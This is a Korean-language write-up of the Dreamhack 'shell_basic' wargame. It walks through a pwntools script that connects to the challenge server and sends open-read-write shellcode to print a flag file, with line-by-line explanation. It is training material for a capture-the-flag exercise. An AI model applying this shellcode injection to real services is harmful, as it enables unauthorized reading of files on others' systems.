서론
드림핵을 시작해보면서 처음 해보는 wargame인 shell_basic을 풀이해보겠습니다.
드림핵이 아무것도 모르는 사람에게 좀 불친절한건 저만 그런걸까요..
두 가지 방법이 있고 참고한 사이트는 다음과 같습니다.
문제는 다음과 같습니다.
문제에서는 execve, execveat를 사용하지 못하도록 했으며, flag를 읽어야 하므로 orw셸코드를 사용해야 할 것입니다.
풀이 (pwntools를 이용한 풀이)
제가 pwntools 사용에 미숙해서.. 사이트를 참고해서 풀었습니다.
from pwn import * #pwntools를 사용하기 위한 부분
p = remote('host2.dreamhack.games', 18670) #아래에 설명
context.arch = 'amd64'
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
코드를 설명해보겠습니다.
p = remote('host2.dreamhack.games', 18670)
pwntools에서는 process라는 함수를 로컬 바이너리를 대상으로 사용하고 remote라는 함수를 원격 서버를 대상으로 사용합니다. 주로 ctf, wargame의 문제는 원격 서버를 대상으로 합니다.
remote('URL', port_number) 이런 형식으로 사용합니다.
context.arch = 'amd64'
pwntools는 셸코드를 생성하거나 코드를 어셈블, 디스어셈블 하는 기능이 있습니다. 이것은 대상의 아키텍쳐의 영향을 받기 때문에 아키텍쳐를 설정해두어야 합니다. amd64는 x86-64, i386은 x86, arm은 arm 아키텍쳐를 의미합니다.
우리는 shellcode를 생성하는 shellcraft함수를 사용할 것이므로 아키텍쳐를 설정했습니다.
r = "/home/shell_basic/flag_name_is_loooooong"
플래그가 있는 경로를 r에 문자열로 대입합니다. 원래 어셈블리로 만들 때에는
여기에서 이렇게 만들어 썼지만 파이썬에선 그냥 입력합니다 어차피 바꿔줘서
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
쉘 코드를 작성합니다 pwntools의 shellcraft라는 함수는 execve함수 뿐만 아니라 orw의 쉘코드를 작성하기에도 굉장히 강력합니다. https://docs.pwntools.com/en/stable/shellcraft/amd64.html
open("File path")
read(fd, buf, 0x100)
write(1, buf, 0x100) #1은 stdout표준 출력을 의미
fd가 rax인 이유는 open의 함수 반환값이 rax에 저장되기 때문입니다.
코드에 대한 해석을 dreamhack을 참고하시는게 좋을 것 같은데, 전 왜 buf가 rsp인지는 잘 모르겠습니다..
rsi에 rsp를 넣고 rsi에서 0x30을 빼서 공간을 확보하는데 30같은 숫자는 뒤 인자로 받으니 그냥 rsp로 하는걸까요.. 잘 모르겠습니다.
p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())
recvunitl이라는 함수로 "shellcode: "라는 문자열이 입력될 때까지 기다립니다. 서버에 연결하면 "shellcode: "라는 문자열이 먼저 뜨거든요
그리고 sendline으로 asm(어셈블)된 쉘코드를 입력합니다
그리고 돌아온 출력값을 받아서 화면에 출력합니다. 그러면 거기에 flag가 있습니다 DH{} 이런 형식으로..
근데 막 엄청 긴 문자열이 (왜인진 모르겠지만 나타나기 때문에) Linux의 파이프 기능을 사용해서
python exploit.py | grep DH 이런 식으로 쓰니까 꽤 괜찮더군요..
감사합니다.